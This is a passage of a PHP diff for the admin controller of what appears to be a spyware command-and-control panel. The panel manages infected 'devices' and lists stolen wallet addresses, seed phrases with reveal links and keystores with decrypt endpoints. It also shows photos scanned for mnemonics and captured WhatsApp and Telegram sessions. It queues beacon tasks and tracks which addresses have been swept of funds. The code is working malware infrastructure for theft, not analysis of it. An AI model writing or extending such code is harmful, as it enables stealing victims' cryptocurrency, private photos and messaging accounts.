$tab = 'wallets';
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -101,12 +132,29 @@ class DeviceController extends Controller
|
|||||||
->values();
|
->values();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$device->load(['beaconTasks']);
|
||||||
|
|
||||||
|
$queueState = ['pending' => [], 'dispatched' => [], 'done' => []];
|
||||||
|
$queueSchema = [];
|
||||||
|
if ((int) $device->chain === Device::CHAIN_DARKSWORD) {
|
||||||
|
$queue = app(\App\Services\DsBeaconQueue::class);
|
||||||
|
$queueState = $queue->getQueueState($device);
|
||||||
|
$queueSchema = \App\Services\DsBeaconQueue::PARAM_SCHEMA;
|
||||||
|
}
|
||||||
|
|
||||||
return view('admin.devices.show', [
|
return view('admin.devices.show', [
|
||||||
'device' => $device,
|
'device' => $device,
|
||||||
'tab' => $tab,
|
'tab' => $tab,
|
||||||
'addressSources' => $addressSources,
|
'addressSources' => $addressSources,
|
||||||
'addressChains' => $addressChains,
|
'addressChains' => $addressChains,
|
||||||
'portal' => $this->portal(),
|
'portal' => $this->portal(),
|
||||||
|
'queueState' => $queueState,
|
||||||
|
'queueSchema' => $queueSchema,
|
||||||
|
'can_reveal' => $this->canRevealMnemonics(),
|
||||||
|
'google_bound' => $this->googleBoundForReveal(),
|
||||||
|
'google2fa_url' => $this->google2faUrl(),
|
||||||
|
'can_clear_photos' => $this->canClearPhotos(),
|
||||||
|
'show_scan' => $this->agentCanSeeScan(),
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -115,7 +163,7 @@ class DeviceController extends Controller
|
|||||||
$this->authorizeDevice($device);
|
$this->authorizeDevice($device);
|
||||||
|
|
||||||
$tab = (string) $request->query('tab', 'wallets');
|
$tab = (string) $request->query('tab', 'wallets');
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
$field = (string) $request->query('field', 'id');
|
$field = (string) $request->query('field', 'id');
|
||||||
@@ -123,24 +171,368 @@ class DeviceController extends Controller
|
|||||||
return match ($tab) {
|
return match ($tab) {
|
||||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||||
|
'keystores' => $this->paginateKeystores($device, $request, $field, $order, $limit, $page),
|
||||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||||
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
|
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
|
||||||
|
'ws-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_WHATSAPP, $field, $order, $limit, $page),
|
||||||
|
'tg-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_TELEGRAM, $field, $order, $limit, $page),
|
||||||
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
|
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
public function photo(Device $device, int $photo)
|
public function photo(Device $device, int $photo, PhotoPreview $preview, PhotoOrigin $origin)
|
||||||
{
|
{
|
||||||
$this->authorizeDevice($device);
|
$this->authorizeDevice($device);
|
||||||
|
|
||||||
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
||||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
abort_unless($origin->ensureLocal($row), 404);
|
||||||
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
$abs = Storage::disk('local')->path((string) $row->path);
|
||||||
|
try {
|
||||||
|
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('photo preview failed', [
|
||||||
|
'photo_id' => $row->id,
|
||||||
|
'path' => $row->path,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
abort(404);
|
||||||
|
}
|
||||||
|
if (($out['bytes'] ?? '') === '') {
|
||||||
|
abort(404);
|
||||||
|
}
|
||||||
|
if ((string) request()->query('seen', '') === '1') {
|
||||||
|
$this->markPhotoRead($row);
|
||||||
|
}
|
||||||
|
|
||||||
return response(Storage::disk('local')->get($row->path), 200)
|
return response($out['bytes'], 200)
|
||||||
->header('Content-Type', $mime);
|
->header('Content-Type', $out['mime']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function update(Request $request, Device $device)
|
||||||
|
{
|
||||||
|
$this->authorizeDevice($device);
|
||||||
|
|
||||||
|
$data = $request->validate([
|
||||||
|
'album_storage' => ['required', 'integer', 'in:0,1'],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$device->album_storage = (int) $data['album_storage'] === 1;
|
||||||
|
$device->save();
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => 'ok',
|
||||||
|
'data' => [
|
||||||
|
'id' => $device->id,
|
||||||
|
'album_storage' => $device->albumStorageEnabled() ? 1 : 0,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function clearPhotos(Device $device)
|
||||||
|
{
|
||||||
|
if (! $this->canClearPhotos()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->authorizeDevice($device);
|
||||||
|
|
||||||
|
$deletedFiles = $this->deletePhotoFiles($device);
|
||||||
|
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||||
|
|
||||||
|
$deletedRows = $device->photos()->delete();
|
||||||
|
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => 'ok',
|
||||||
|
'data' => [
|
||||||
|
'deleted_rows' => (int) $deletedRows,
|
||||||
|
'deleted_files' => $deletedFiles,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function destroy(Device $device)
|
||||||
|
{
|
||||||
|
$this->authorizeDevice($device);
|
||||||
|
|
||||||
|
$listUrl = route($this->portal().'.devices.index');
|
||||||
|
$started = microtime(true);
|
||||||
|
$ctx = $this->purgeContext($device);
|
||||||
|
Log::info('device_purge start', $ctx);
|
||||||
|
|
||||||
|
try {
|
||||||
|
$this->purgeDevice($device, $ctx);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::error('device_purge failed', $ctx + [
|
||||||
|
'ms' => (int) ((microtime(true) - $started) * 1000),
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'class' => $e::class,
|
||||||
|
'at' => $e->getFile().':'.$e->getLine(),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '删除失败:'.$e->getMessage(),
|
||||||
|
], 500);
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::info('device_purge done', $ctx + [
|
||||||
|
'ms' => (int) ((microtime(true) - $started) * 1000),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => 'ok',
|
||||||
|
'data' => [
|
||||||
|
'list_url' => $listUrl,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $ctx
|
||||||
|
*/
|
||||||
|
private function purgeDevice(Device $device, array $ctx): void
|
||||||
|
{
|
||||||
|
$this->purgeStep($ctx, 'delete_photo_files', function () use ($device, $ctx) {
|
||||||
|
$n = $this->deletePhotoFiles($device);
|
||||||
|
Log::info('device_purge photos', $ctx + ['deleted_files' => $n]);
|
||||||
|
});
|
||||||
|
$this->purgeStep($ctx, 'forget_previews', function () use ($device) {
|
||||||
|
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||||
|
});
|
||||||
|
foreach ([
|
||||||
|
'c2/photos/'.$device->device_id,
|
||||||
|
'c2/inbox/'.$device->device_id,
|
||||||
|
'c2/plugin-sessions/'.$device->device_id,
|
||||||
|
] as $dir) {
|
||||||
|
$this->purgeStep($ctx, 'delete_dir:'.$dir, fn () => $this->deleteStorageDir($dir, $ctx));
|
||||||
|
}
|
||||||
|
$this->purgeStep($ctx, 'unmonitor', fn () => $this->unmonitorAddresses($device));
|
||||||
|
|
||||||
|
$this->purgeStep($ctx, 'db_transaction', function () use ($device) {
|
||||||
|
DB::transaction(function () use ($device) {
|
||||||
|
$device->apps()->delete();
|
||||||
|
$device->events()->delete();
|
||||||
|
$device->mnemonicFindings()->delete();
|
||||||
|
$device->noteScans()->delete();
|
||||||
|
$device->photos()->delete();
|
||||||
|
$device->notes()->delete();
|
||||||
|
$device->addresses()->delete();
|
||||||
|
$device->mnemonics()->delete();
|
||||||
|
$device->keystores()->delete();
|
||||||
|
$device->pluginSessions()->delete();
|
||||||
|
$device->smsReports()->delete();
|
||||||
|
$device->delete();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $ctx
|
||||||
|
*/
|
||||||
|
private function purgeDarkSwordLogs(Device $device, array $ctx): void
|
||||||
|
{
|
||||||
|
$keys = $this->deviceLogKeys($device);
|
||||||
|
if ($keys === []) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$chain = DsChainLog::query()->whereIn('client_uid', $keys)->delete();
|
||||||
|
$visits = PageVisit::query()->whereIn('client_uid', $keys)->delete();
|
||||||
|
Log::info('device_purge ds_rows', $ctx + [
|
||||||
|
'keys' => $keys,
|
||||||
|
'ds_chain_logs' => $chain,
|
||||||
|
'page_visits' => $visits,
|
||||||
|
]);
|
||||||
|
$this->purgeDsFileLogs($keys, $ctx);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
private function deviceLogKeys(Device $device): array
|
||||||
|
{
|
||||||
|
$raw = trim((string) $device->device_id);
|
||||||
|
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? '');
|
||||||
|
$keys = [];
|
||||||
|
foreach ([$raw, strtoupper($raw), $hex] as $key) {
|
||||||
|
if ($key !== '' && ! in_array($key, $keys, true)) {
|
||||||
|
$keys[] = $key;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $keys;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private function deletePhotoFiles(Device $device): int
|
||||||
|
{
|
||||||
|
$deletedFiles = 0;
|
||||||
|
$fails = [];
|
||||||
|
$disk = Storage::disk('local');
|
||||||
|
foreach ($device->photos()->get(['id', 'path']) as $photo) {
|
||||||
|
$path = trim((string) ($photo->path ?? ''));
|
||||||
|
if ($path === '' || ! $disk->exists($path)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
if ($disk->delete($path)) {
|
||||||
|
$deletedFiles++;
|
||||||
|
} else {
|
||||||
|
$fails[] = $this->pathDebug($disk->path($path)) + ['photo_id' => $photo->id];
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$fails[] = $this->pathDebug($disk->path($path)) + [
|
||||||
|
'photo_id' => $photo->id,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($fails !== []) {
|
||||||
|
Log::warning('device_purge photo_file_fails', [
|
||||||
|
'id' => $device->id,
|
||||||
|
'device_id' => $device->device_id,
|
||||||
|
'fails' => array_slice($fails, 0, 8),
|
||||||
|
'fail_count' => count($fails),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $deletedFiles;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $ctx
|
||||||
|
*/
|
||||||
|
private function deleteStorageDir(string $dir, array $ctx = []): void
|
||||||
|
{
|
||||||
|
$disk = Storage::disk('local');
|
||||||
|
$abs = $disk->path($dir);
|
||||||
|
$probe = $this->pathDebug($abs);
|
||||||
|
try {
|
||||||
|
$exists = $disk->directoryExists($dir);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('device_purge dir_stat_failed', $ctx + [
|
||||||
|
'dir' => $dir,
|
||||||
|
'path' => $probe,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (! $exists) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
$ok = $disk->deleteDirectory($dir);
|
||||||
|
if ($ok) {
|
||||||
|
Log::info('device_purge dir_deleted', $ctx + ['dir' => $dir, 'path' => $probe]);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Log::warning('device_purge dir_delete_false', $ctx + ['dir' => $dir, 'path' => $probe]);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('device_purge dir_delete_failed', $ctx + [
|
||||||
|
'dir' => $dir,
|
||||||
|
'path' => $probe,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
try {
|
||||||
|
$disk->deleteDirectory($dir);
|
||||||
|
} catch (\Throwable $retry) {
|
||||||
|
Log::warning('device_purge dir_delete_retry_failed', $ctx + [
|
||||||
|
'dir' => $dir,
|
||||||
|
'path' => $this->pathDebug($abs),
|
||||||
|
'error' => $retry->getMessage(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $ctx
|
||||||
|
*/
|
||||||
|
private function purgeStep(array $ctx, string $step, callable $fn): void
|
||||||
|
{
|
||||||
|
$t = microtime(true);
|
||||||
|
Log::info('device_purge step', $ctx + ['step' => $step]);
|
||||||
|
try {
|
||||||
|
$fn();
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::error('device_purge step_failed', $ctx + [
|
||||||
|
'step' => $step,
|
||||||
|
'ms' => (int) ((microtime(true) - $t) * 1000),
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'class' => $e::class,
|
||||||
|
'at' => $e->getFile().':'.$e->getLine(),
|
||||||
|
]);
|
||||||
|
throw $e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function purgeContext(Device $device): array
|
||||||
|
{
|
||||||
|
$uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid();
|
||||||
|
$user = function_exists('posix_getpwuid')
|
||||||
|
? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid)
|
||||||
|
: (string) $uid;
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $device->id,
|
||||||
|
'device_id' => $device->device_id,
|
||||||
|
'php_user' => $user,
|
||||||
|
'php_uid' => $uid,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function pathDebug(string $abs): array
|
||||||
|
{
|
||||||
|
$info = [
|
||||||
|
'abs' => $abs,
|
||||||
|
'exists' => file_exists($abs),
|
||||||
|
'is_dir' => is_dir($abs),
|
||||||
|
'readable' => is_readable($abs),
|
||||||
|
'writable' => is_writable($abs),
|
||||||
|
];
|
||||||
|
if (! file_exists($abs)) {
|
||||||
|
return $info;
|
||||||
|
}
|
||||||
|
$info['perms'] = substr(sprintf('%o', (int) fileperms($abs)), -4);
|
||||||
|
$ownerUid = @fileowner($abs);
|
||||||
|
$info['owner_uid'] = $ownerUid;
|
||||||
|
if (function_exists('posix_getpwuid') && is_int($ownerUid)) {
|
||||||
|
$info['owner'] = posix_getpwuid($ownerUid)['name'] ?? (string) $ownerUid;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $info;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function unmonitorAddresses(Device $device): void
|
||||||
|
{
|
||||||
|
$n = $device->addresses()->where('monitor', 1)->count();
|
||||||
|
if ($n === 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tokenview removeAddress uses HTTP timeout 120s per address. A replay
|
||||||
|
// ingest can leave dozens of monitor=1 rows; blocking delete on that
|
||||||
|
// freezes the admin UI (and php artisan serve). Rows are deleted in
|
||||||
|
// the next step, so webhooks will no longer match monitor=1.
|
||||||
|
Log::info('device_purge skip_tokenview_unmonitor', [
|
||||||
|
'id' => $device->id,
|
||||||
|
'device_id' => $device->device_id,
|
||||||
|
'monitor_rows' => $n,
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function authorizeDevice(Device $device): void
|
private function authorizeDevice(Device $device): void
|
||||||
@@ -151,6 +543,19 @@ class DeviceController extends Controller
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function markPhotoRead(Photo $photo): void
|
||||||
|
{
|
||||||
|
[$guard, $actorId] = $this->viewerActor();
|
||||||
|
if ($guard === null || $actorId === null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
PhotoRead::mark($photo, $guard, $actorId);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// Serving the image still succeeds if the read row cannot be written.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||||
{
|
{
|
||||||
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
|
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
|
||||||
@@ -163,13 +568,21 @@ class DeviceController extends Controller
|
|||||||
if ((string) $request->query('sensitive', '') === '1') {
|
if ((string) $request->query('sensitive', '') === '1') {
|
||||||
$q->where('x_hit', '>', 0);
|
$q->where('x_hit', '>', 0);
|
||||||
}
|
}
|
||||||
|
[$guard, $actorId] = $this->viewerActor();
|
||||||
|
if ($guard !== null && $actorId !== null) {
|
||||||
|
PhotoRead::applyFilter($q, $guard, $actorId, 'photos.id', $request->query('read'));
|
||||||
|
}
|
||||||
|
|
||||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||||
$portal = $this->portal();
|
$portal = $this->portal();
|
||||||
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
|
$readIds = ($guard !== null && $actorId !== null)
|
||||||
|
? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all())
|
||||||
|
: [];
|
||||||
|
$showScan = $this->agentCanSeeScan();
|
||||||
|
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds, $showScan) {
|
||||||
return [
|
return [
|
||||||
'id' => $photo->id,
|
'id' => $photo->id,
|
||||||
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
|
'url' => route($portal.'.devices.photo', [$device, $photo->id, 'seen' => 1]),
|
||||||
'sha256' => $photo->sha256 ?: '',
|
'sha256' => $photo->sha256 ?: '',
|
||||||
'size' => $photo->size,
|
'size' => $photo->size,
|
||||||
'x_hit' => $photo->x_hit,
|
'x_hit' => $photo->x_hit,
|
||||||
@@ -177,11 +590,18 @@ class DeviceController extends Controller
|
|||||||
'process_index' => $photo->process_index,
|
'process_index' => $photo->process_index,
|
||||||
'text_count' => $photo->text_count,
|
'text_count' => $photo->text_count,
|
||||||
'barcode_count' => $photo->barcode_count,
|
'barcode_count' => $photo->barcode_count,
|
||||||
|
'scan_status' => $showScan ? (int) $photo->scan_status : 0,
|
||||||
|
'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label((int) $photo->scan_status) : '',
|
||||||
|
'read' => in_array($photo->id, $readIds, true) ? 1 : 0,
|
||||||
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
|
||||||
];
|
];
|
||||||
})->values();
|
})->values();
|
||||||
|
|
||||||
return $this->layuiPage($paginator->total(), $data);
|
$scan = $showScan
|
||||||
|
? app(\App\Services\MnemonicScanService::class)->photoProgress($device->id)
|
||||||
|
: null;
|
||||||
|
|
||||||
|
return $this->layuiPage($paginator->total(), $data, $scan);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||||
@@ -200,7 +620,9 @@ class DeviceController extends Controller
|
|||||||
$q->where('chain_type', $chainType);
|
$q->where('chain_type', $chainType);
|
||||||
}
|
}
|
||||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||||
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
|
$items = collect($paginator->items());
|
||||||
|
$swept = TransferRecord::successfulSweepSet($items->pluck('address')->all());
|
||||||
|
$data = $items->map(function (WalletAddress $addr) use ($swept) {
|
||||||
$coins = $addr->formattedCoins();
|
$coins = $addr->formattedCoins();
|
||||||
|
|
||||||
return [
|
return [
|
||||||
@@ -213,7 +635,10 @@ class DeviceController extends Controller
|
|||||||
'eth' => $coins['eth'],
|
'eth' => $coins['eth'],
|
||||||
'btc' => $coins['btc'],
|
'btc' => $coins['btc'],
|
||||||
'bnb' => $coins['bnb'],
|
'bnb' => $coins['bnb'],
|
||||||
|
'collected' => TransferRecord::addressInSweepSet((string) $addr->address, $swept),
|
||||||
'monitor' => (int) $addr->monitor,
|
'monitor' => (int) $addr->monitor,
|
||||||
|
'monitor_synced' => (bool) $addr->monitor_synced,
|
||||||
|
'monitor_failures' => (int) $addr->monitor_failures,
|
||||||
'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'),
|
||||||
];
|
];
|
||||||
@@ -229,19 +654,71 @@ class DeviceController extends Controller
|
|||||||
$field = 'id';
|
$field = 'id';
|
||||||
}
|
}
|
||||||
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||||
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
|
$canReveal = $this->canRevealMnemonics();
|
||||||
|
$data = collect($paginator->items())->map(function (WalletMnemonic $w) use ($canReveal) {
|
||||||
return [
|
return [
|
||||||
'id' => $w->id,
|
'id' => $w->id,
|
||||||
'source' => $w->source ?: '',
|
'source' => $w->source ?: '',
|
||||||
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
|
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
|
||||||
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
||||||
|
'can_reveal' => $canReveal,
|
||||||
|
'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($w->id) : '',
|
||||||
];
|
];
|
||||||
})->values();
|
})->values();
|
||||||
|
|
||||||
return $this->layuiPage($paginator->total(), $data);
|
return $this->layuiPage($paginator->total(), $data);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function paginateKeystores(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||||
|
{
|
||||||
|
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||||
|
if (WalletKeystore::hasNeedsPasswordColumn()) {
|
||||||
|
$sortable[] = 'needs_password';
|
||||||
|
}
|
||||||
|
if (! in_array($field, $sortable, true)) {
|
||||||
|
$field = 'id';
|
||||||
|
}
|
||||||
|
|
||||||
|
$idQuery = $device->keystores()->orderBy($field, $order);
|
||||||
|
$needsPassword = trim((string) $request->query('needs_password', ''));
|
||||||
|
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
|
||||||
|
$idQuery->where('wallet_keystores.needs_password', 1);
|
||||||
|
}
|
||||||
|
$total = $idQuery->toBase()->getCountForPagination();
|
||||||
|
$page = max(1, $page);
|
||||||
|
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||||
|
|
||||||
|
$rows = count($ids) > 0
|
||||||
|
? WalletKeystore::query()
|
||||||
|
->whereIn('id', $ids)
|
||||||
|
->select(WalletKeystore::listColumnsLight())
|
||||||
|
->get()
|
||||||
|
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
|
||||||
|
->values()
|
||||||
|
: collect();
|
||||||
|
|
||||||
|
$portal = $this->portal();
|
||||||
|
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
|
||||||
|
$stats = $row->listStats();
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $row->id,
|
||||||
|
'source' => $row->sourceLabel(),
|
||||||
|
'decrypted' => (int) $row->decrypted,
|
||||||
|
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
|
||||||
|
'kind' => $stats['kind'],
|
||||||
|
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||||
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
|
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||||
|
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||||
|
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||||
|
];
|
||||||
|
})->values();
|
||||||
|
|
||||||
|
return $this->layuiPage($total, $data);
|
||||||
|
}
|
||||||
|
|
||||||
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
||||||
{
|
{
|
||||||
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
|
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
|
||||||
@@ -249,7 +726,7 @@ class DeviceController extends Controller
|
|||||||
$field = 'is_wallet';
|
$field = 'is_wallet';
|
||||||
$order = 'desc';
|
$order = 'desc';
|
||||||
}
|
}
|
||||||
$q = $device->apps();
|
$q = $device->apps()->listed();
|
||||||
if ($field === 'is_wallet') {
|
if ($field === 'is_wallet') {
|
||||||
$q->orderByDesc('is_wallet')->orderBy('name');
|
$q->orderByDesc('is_wallet')->orderBy('name');
|
||||||
} else {
|
} else {
|
||||||
@@ -269,30 +746,82 @@ class DeviceController extends Controller
|
|||||||
return $this->layuiPage($paginator->total(), $data);
|
return $this->layuiPage($paginator->total(), $data);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
private function paginatePluginSessions(Device $device, int $kind, string $field, string $order, int $limit, int $page)
|
||||||
{
|
{
|
||||||
$sortable = ['id', 'created_at', 'updated_at'];
|
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
|
||||||
if (! in_array($field, $sortable, true)) {
|
if (! in_array($field, $sortable, true)) {
|
||||||
$field = 'id';
|
$field = 'id';
|
||||||
}
|
}
|
||||||
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
$q = $device->pluginSessions()->where('kind', $kind);
|
||||||
$data = collect($paginator->items())->map(function (Note $note) {
|
$q->orderBy('plugin_sessions.'.$field, $order);
|
||||||
$content = $note->content;
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
if (is_array($content)) {
|
|
||||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
|
||||||
}
|
|
||||||
|
|
||||||
return [
|
$portal = $this->portal();
|
||||||
'id' => $note->id,
|
$isSuper = (bool) auth('admin')->user()?->isSuper();
|
||||||
'content' => $content ?: '',
|
$data = collect($paginator->items())->map(function (PluginSession $row) use ($portal, $isSuper) {
|
||||||
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
|
$summary = $row->listSummary();
|
||||||
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
|
|
||||||
];
|
return array_merge($summary, [
|
||||||
|
'id' => $row->id,
|
||||||
|
